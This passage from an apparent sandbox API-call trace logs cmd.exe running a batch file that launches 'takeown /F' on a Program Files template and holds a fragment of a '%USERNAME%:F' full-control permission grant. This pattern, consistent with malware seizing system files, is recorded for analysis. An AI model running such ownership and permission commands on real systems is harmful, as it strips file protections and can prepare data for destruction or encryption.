hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x28ede4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x28ede4*=0x26) returned 1 [0128.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.230] GetFileType (hFile=0x7) returned 0x2 [0128.230] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.230] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f03c | out: lpMode=0x28f03c) returned 1 [0128.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.230] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5712a8*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x28f068, lpReserved=0x0 | out: lpBuffer=0x5712a8*, lpNumberOfCharsWritten=0x28f068*=0x7) returned 1 [0128.231] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x28f074 | out: _Buffer=" /F \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\" ") returned 61 [0128.231] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.231] GetFileType (hFile=0x7) returned 0x2 [0128.231] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.231] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0128.231] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.231] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x3d) returned 1 [0128.233] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f094 | out: _Buffer="\r\n") returned 2 [0128.233] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.233] GetFileType (hFile=0x7) returned 0x2 [0128.233] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.233] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f054 | out: lpMode=0x28f054) returned 1 [0128.234] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.234] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f080, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f080*=0x2) returned 1 [0128.235] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0128.235] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0128.235] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0128.235] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0128.235] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0128.235] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0128.235] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0128.235] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0128.235] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0128.235] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0128.235] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0128.235] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0128.235] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0128.235] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0128.235] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0128.235] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0128.235] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0128.235] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0128.235] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0128.235] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0128.235] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0128.236] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0128.236] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0128.236] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0128.236] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0128.236] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0128.236] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0128.236] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0128.236] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0128.236] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0128.236] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0128.236] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0128.236] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0128.236] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0128.236] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0128.236] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0128.236] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0128.236] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0128.236] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0128.236] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0128.236] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0128.236] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0128.236] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x586218, lpFilePart=0x28ee38 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28ee38*="Desktop") returned 0x25 [0128.236] SetErrorMode (uMode=0x0) returned 0x1 [0128.237] GetProcessHeap () returned 0x570000 [0128.237] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x586210, Size=0x64) returned 0x586210 [0128.237] GetProcessHeap () returned 0x570000 [0128.237] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x586210) returned 0x64 [0128.237] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0128.237] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0128.237] GetProcessHeap () returned 0x570000 [0128.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x586280 [0128.237] GetProcessHeap () returned 0x570000 [0128.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x5863a8 [0128.237] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0128.237] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0128.237] GetLastError () returned 0x2 [0128.238] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0128.238] GetLastError () returned 0x2 [0128.238] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0128.238] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0x586558 [0128.239] FindClose (in: hFindFile=0x586558 | out: hFindFile=0x586558) returned 1 [0128.239] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0128.239] GetLastError () returned 0x2 [0128.239] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0x586558 [0128.239] FindClose (in: hFindFile=0x586558 | out: hFindFile=0x586558) returned 1 [0128.239] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0128.239] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0128.240] GetConsoleTitleW (in: lpConsoleTitle=0x28ec04, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0128.240] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x586ce0, lpFilePart=0x28e724 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28e724*="Desktop") returned 0x25 [0128.240] SetErrorMode (uMode=0x0) returned 0x1 [0128.240] GetProcessHeap () returned 0x570000 [0128.240] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x586cd8, Size=0x64) returned 0x586cd8 [0128.240] GetProcessHeap () returned 0x570000 [0128.240] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x586cd8) returned 0x64 [0128.240] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0128.240] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0128.240] GetProcessHeap () returned 0x570000 [0128.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x586810 [0128.240] GetProcessHeap () returned 0x570000 [0128.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x586938 [0128.241] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0128.241] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0xffffffff [0128.241] GetLastError () returned 0x2 [0128.241] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0xffffffff [0128.241] GetLastError () returned 0x2 [0128.241] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0128.242] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0x586ae8 [0128.242] FindClose (in: hFindFile=0x586ae8 | out: hFindFile=0x586ae8) returned 1 [0128.242] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0xffffffff [0128.242] GetLastError () returned 0x2 [0128.242] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0x586ae8 [0128.242] FindClose (in: hFindFile=0x586ae8 | out: hFindFile=0x586ae8) returned 1 [0128.242] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0128.243] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0128.243] GetConsoleTitleW (in: lpConsoleTitle=0x28e998, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0128.243] InitializeProcThreadAttributeList (in: lpAttributeList=0x28e820, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28e8e8 | out: lpAttributeList=0x28e820, lpSize=0x28e8e8) returned 1 [0128.243] UpdateProcThreadAttribute (in: lpAttributeList=0x28e820, dwFlags=0x0, Attribute=0x60001, lpValue=0x28e8e0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28e820, lpPreviousValue=0x0) returned 1 [0128.243] GetStartupInfoW (in: lpStartupInfo=0x28e7dc | out: lpStartupInfo=0x28e7dc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0128.243] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0128.243] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28e87c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28e8c8 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"", lpProcessInformation=0x28e8c8*(hProcess=0x78, hThread=0x74, dwProcessId=0x10c, dwThreadId=0xb50)) returned 1 [0128.311] CloseHandle (hObject=0x74) returned 1 [0128.311] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0128.311] GetProcessHeap () returned 0x570000 [0128.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58a120 | out: hHeap=0x570000) returned 1 [0128.311] GetEnvironmentStringsW () returned 0x587f38* [0128.311] GetProcessHeap () returned 0x570000 [0128.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x58a120 [0128.311] FreeEnvironmentStringsW (penv=0x587f38) returned 1 [0128.311] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0128.764] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x28e7bc | out: lpExitCode=0x28e7bc*=0x0) returned 1 [0128.764] CloseHandle (hObject=0x78) returned 1 [0128.764] _vsnwprintf (in: _Buffer=0x28e904, _BufferCount=0x13, _Format="%08X", _ArgList=0x28e7c8 | out: _Buffer="00000000") returned 8 [0128.764] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0128.764] GetProcessHeap () returned 0x570000 [0128.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58a120 | out: hHeap=0x570000) returned 1 [0128.764] GetEnvironmentStringsW () returned 0x587f38* [0128.764] GetProcessHeap () returned 0x570000 [0128.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x58a120 [0128.764] FreeEnvironmentStringsW (penv=0x587f38) returned 1 [0128.764] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0128.764] GetProcessHeap () returned 0x570000 [0128.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58a120 | out: hHeap=0x570000) returned 1 [0128.764] GetEnvironmentStringsW () returned 0x587f38* [0128.764] GetProcessHeap () returned 0x570000 [0128.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x58a120 [0128.764] FreeEnvironmentStringsW (penv=0x587f38) returned 1 [0128.764] GetProcessHeap () returned 0x570000 [0128.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570db8 | out: hHeap=0x570000) returned 1 [0128.764] DeleteProcThreadAttributeList (in: lpAttributeList=0x28e820 | out: lpAttributeList=0x28e820) [0128.764] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.764] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0128.765] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.765] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0128.765] _get_osfhandle (_FileHandle=0) returned 0x3 [0128.765] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0128.765] SetConsoleInputExeNameW () returned 0x1 [0128.765] GetConsoleOutputCP () returned 0x1b5 [0128.766] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0128.766] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f03c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0128.766] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0128.766] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.766] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0128.766] GetProcessHeap () returned 0x570000 [0128.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586a68 | out: hHeap=0x570000) returned 1 [0128.766] GetProcessHeap () returned 0x570000 [0128.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586938 | out: hHeap=0x570000) returned 1 [0128.766] GetProcessHeap () returned 0x570000 [0128.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586810 | out: hHeap=0x570000) returned 1 [0128.766] GetProcessHeap () returned 0x570000 [0128.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586cd8 | out: hHeap=0x570000) returned 1 [0128.766] GetProcessHeap () returned 0x570000 [0128.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586770 | out: hHeap=0x570000) returned 1 [0128.767] GetProcessHeap () returned 0x570000 [0128.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586558 | out: hHeap=0x570000) returned 1 [0128.767] GetProcessHeap () returned 0x570000 [0128.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5864d8 | out: hHeap=0x570000) returned 1 [0128.767] GetProcessHeap () returned 0x570000 [0128.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5863a8 | out: hHeap=0x570000) returned 1 [0128.767] GetProcessHeap () returned 0x570000 [0128.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586280 | out: hHeap=0x570000) returned 1 [0128.767] GetProcessHeap () returned 0x570000 [0128.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586210 | out: hHeap=0x570000) returned 1 [0128.767] GetProcessHeap () returned 0x570000 [0128.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586180 | out: hHeap=0x570000) returned 1 [0128.767] GetProcessHeap () returned 0x570000 [0128.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5712a0 | out: hHeap=0x570000) returned 1 [0128.767] GetProcessHeap () returned 0x570000 [0128.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x570000) returned 1 [0128.767] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.767] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0128.767] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f020, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x28f020*=0xb3, lpOverlapped=0x0) returned 1 [0128.767] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0128.767] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0128.768] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.768] GetFileType (hFile=0x78) returned 0x1 [0128.768] _get_osfhandle (_FileHandle=3) returned 0x78 [0128.768] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0128.768] GetProcessHeap () returned 0x570000 [0128.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x594ab0 [0128.768] GetProcessHeap () returned 0x570000 [0128.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x78) returned 0x580fe8 [0128.768] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", nBufferLength=0x208, lpBuffer=0x28e7b0, lpFilePart=0x28e7a8 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", lpFilePart=0x28e7a8*="Genko_2.jtp") returned 0x36 [0128.768] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x28e4c4 | out: lpFindFileData=0x28e4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x571240 [0128.769] FindClose (in: hFindFile=0x571240 | out: hFindFile=0x571240) returned 1 [0128.769] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0128.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal", lpFindFileData=0x28e4c4 | out: lpFindFileData=0x28e4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 0x571240 [0128.769] FindClose (in: hFindFile=0x571240 | out: hFindFile=0x571240) returned 1 [0128.769] _wcsnicmp (_String1="WI0FCF~1", _String2="Windows Journal", _MaxCount=0xf) returned -62 [0128.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates", lpFindFileData=0x28e4c4 | out: lpFindFileData=0x28e4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0x571240 [0128.769] FindClose (in: hFindFile=0x571240 | out: hFindFile=0x571240) returned 1 [0128.769] _wcsnicmp (_String1="TEMPLA~1", _String2="Templates", _MaxCount=0x9) returned 10 [0128.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", lpFindFileData=0x28e4c4 | out: lpFindFileData=0x28e4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 0x571240 [0128.769] FindClose (in: hFindFile=0x571240 | out: hFindFile=0x571240) returned 1 [0128.769] GetProcessHeap () returned 0x570000 [0128.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x20) returned 0x5877f0 [0128.769] GetProcessHeap () returned 0x570000 [0128.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594ab0 | out: hHeap=0x570000) returned 1 [0128.771] _tell (_FileHandle=3) returned 63 [0128.771] _close (_FileHandle=3) returned 0 [0128.771] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28edf4 | out: _Buffer="\r\n") returned 2 [0128.771] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.771] GetFileType (hFile=0x7) returned 0x2 [0128.772] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.772] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb4 | out: lpMode=0x28edb4) returned 1 [0128.772] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.772] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28ede0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28ede0*=0x2) returned 1 [0128.773] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0128.773] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0128.774] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28edf0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0128.774] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28edf0 | out: _Buffer=">") returned 1 [0128.774] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.774] GetFileType (hFile=0x7) returned 0x2 [0128.774] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.774] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb8 | out: lpMode=0x28edb8) returned 1 [0128.774] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.774] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x28ede4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x28ede4*=0x26) returned 1 [0128.775] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.775] GetFileType (hFile=0x7) returned 0x2 [0128.775] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.775] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f03c | out: lpMode=0x28f03c) returned 1 [0128.775] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.775] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x570dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x28f068, lpReserved=0x0 | out: lpBuffer=0x570dc0*, lpNumberOfCharsWritten=0x28f068*=0x3) returned 1 [0128.775] _vsnwprintf (in: 